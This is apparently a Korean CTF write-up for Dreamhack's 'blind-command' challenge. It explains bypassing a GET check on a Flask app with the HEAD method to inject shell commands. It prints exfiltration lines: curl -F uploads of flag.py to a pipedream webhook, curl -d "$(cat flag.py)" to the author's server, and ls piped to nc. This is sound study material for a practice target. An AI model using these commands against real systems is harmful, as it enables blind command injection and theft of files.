blind-command

https://dreamhack.io/wargame/challenges/73/

blind-command

 

하하하하하ㅏ 드디어 풀엇다 

 

 

app.py

 

먼저 실행 파일을 보면, 

분명 / 경로에서 GET method로 지정되어 있는데, 

else 부분에서는 request.method가 GET이 아닐 때에만 os.system() 이 실행되는 것을 볼 수 있다.

 

 

여기서 알 수 있는 것은

1. GET 을 이용하여서는 os.system을 실행시킬 수 없음

2. 실행시키더라도 실행 결과가 나에게 보여지지 않음

 

이다.

 

2번 때문에 blind command 인 거겠지만

어쨌든 실행 결과가 나에게 보여지지 않기 때문에.. 결과가 나에게 보여지도록 내 서버로 데이터를 전송하는 과정이 있어야 한다.

이를 해결하기 위해 webhook 기능을 지원하는 페이지를 사용했다. (pipedream을 사용했지만 slack도 지원하는 듯 함)

 

1번을 해결하기 위해서는 http method들을 찾아보았는데

HEAD 라는 메소드가 GET 메소드의 요청과 동일한 응답을 요구하지만, 응답 본문을 포함하지 않는다. 라고 정의되어 있어

이걸 이용해야겠다.. 라는 생각이 강하게 들었다. 

(POST, PUT 등등으로도 시도해봤지만 페이지 에러가 뜸) 

+(OPTIONS 메소드를 이용하여 어느 옵션을 사용하여 통신 가능한 지 확인 가능)

 

method "HEAD" 로 변경

 

페이지에서 데이터를 정상적으로 수신했음을 확인

 

 

 

이 때 curl 명령어를 이용하여 데이터를 수신하도록 하였다.

처음에는 위에서처럼 test get 인자에 명령어 실행 결과를 넣어 전송하는 방식으로 생각하였는데,

아무리 찾아도 파일 자체를 전송하는 방법이 대부분이어서 

실행 결과를 파일에 저장 후, 파일을 수신받는 방식으로 생각을 바꾸었다.

 

 

먼저 ls 출력 결과를 test.txt 파일에 저장

 

cmd="ls"
os.system(cmd+" 1>./test.txt"+" 2>./error.txt")

error.txt 도 지정해주어야 한다는 얘기가 있어 지정해 주었음..

 

 

curl F 옵션을 이용하여 

 

curl -F “file=@./test.txt” https://adb3a949c8c16ec6211a78d7064ef848.m.pipedream.net/

 

 

test.txt 수신

 

 

현재 디렉토리에 flag.py 확인

 

 

 

같은 방식으로 flag.py을 전송받으면

 

curl -F “file=@./flag.py” https://adb3a949c8c16ec6211a78d7064ef848.m.pipedream.net/

 

 

flag.py 수신

 

 

플래그를 얻을 수 있음

 

 

+++++

 

/?cmd=curl https://myserver/ -d "$(cat flag.py)"

 

이렇게도 가능하다고 함!!!!!!!!!!

 

 

 

++

ls | nc myserver.com port 

와 같은 형식으로 nc명령어를 이용하여 ls 명령어의 실행 결과를 내 서버에 전송 가능.

이 때에는 내 서버에서 포트포워딩, 해당 포트 번호로 listen 등의 작업이 필요함 ..

NC (NetCat) 명령어 사용하기 (tistory.com)

NC (NetCat) 명령어 사용하기

 

 

 

 

---

http methods

HTTP 요청 메서드 - HTTP | MDN (mozilla.org)

HTTP 요청 메서드 - HTTP | MDN

HEAD 메소드에 대한 응답은 본문을 가져서는 안 되며,(body 얘기인 듯)

헤더 정도만 포함 가능

 

 

 

OPTIONS method

https://developer.mozilla.org/ko/docs/Web/HTTP/Methods/OPTIONS

OPTIONS - HTTP | MDN

 

 

 

shell에서 출력 결과를 text file로 redirect

Redirecting os.system output to a text file in python - Stack Overflow

Redirecting os.system output to a text file in python

 

 

blind command injection ( wget + curl )

+ flask 이용하여 간단하게 데이터를 받을 수 있는 서버 만들기

Blind Command Injection - Vulning Sun (hatenablog.com)

Blind Command Injection - Vulning Sun

 

 

blind os command injection

BLIND OS COMMAND INJECTION | HACKTAGON

Blind OS Command Injection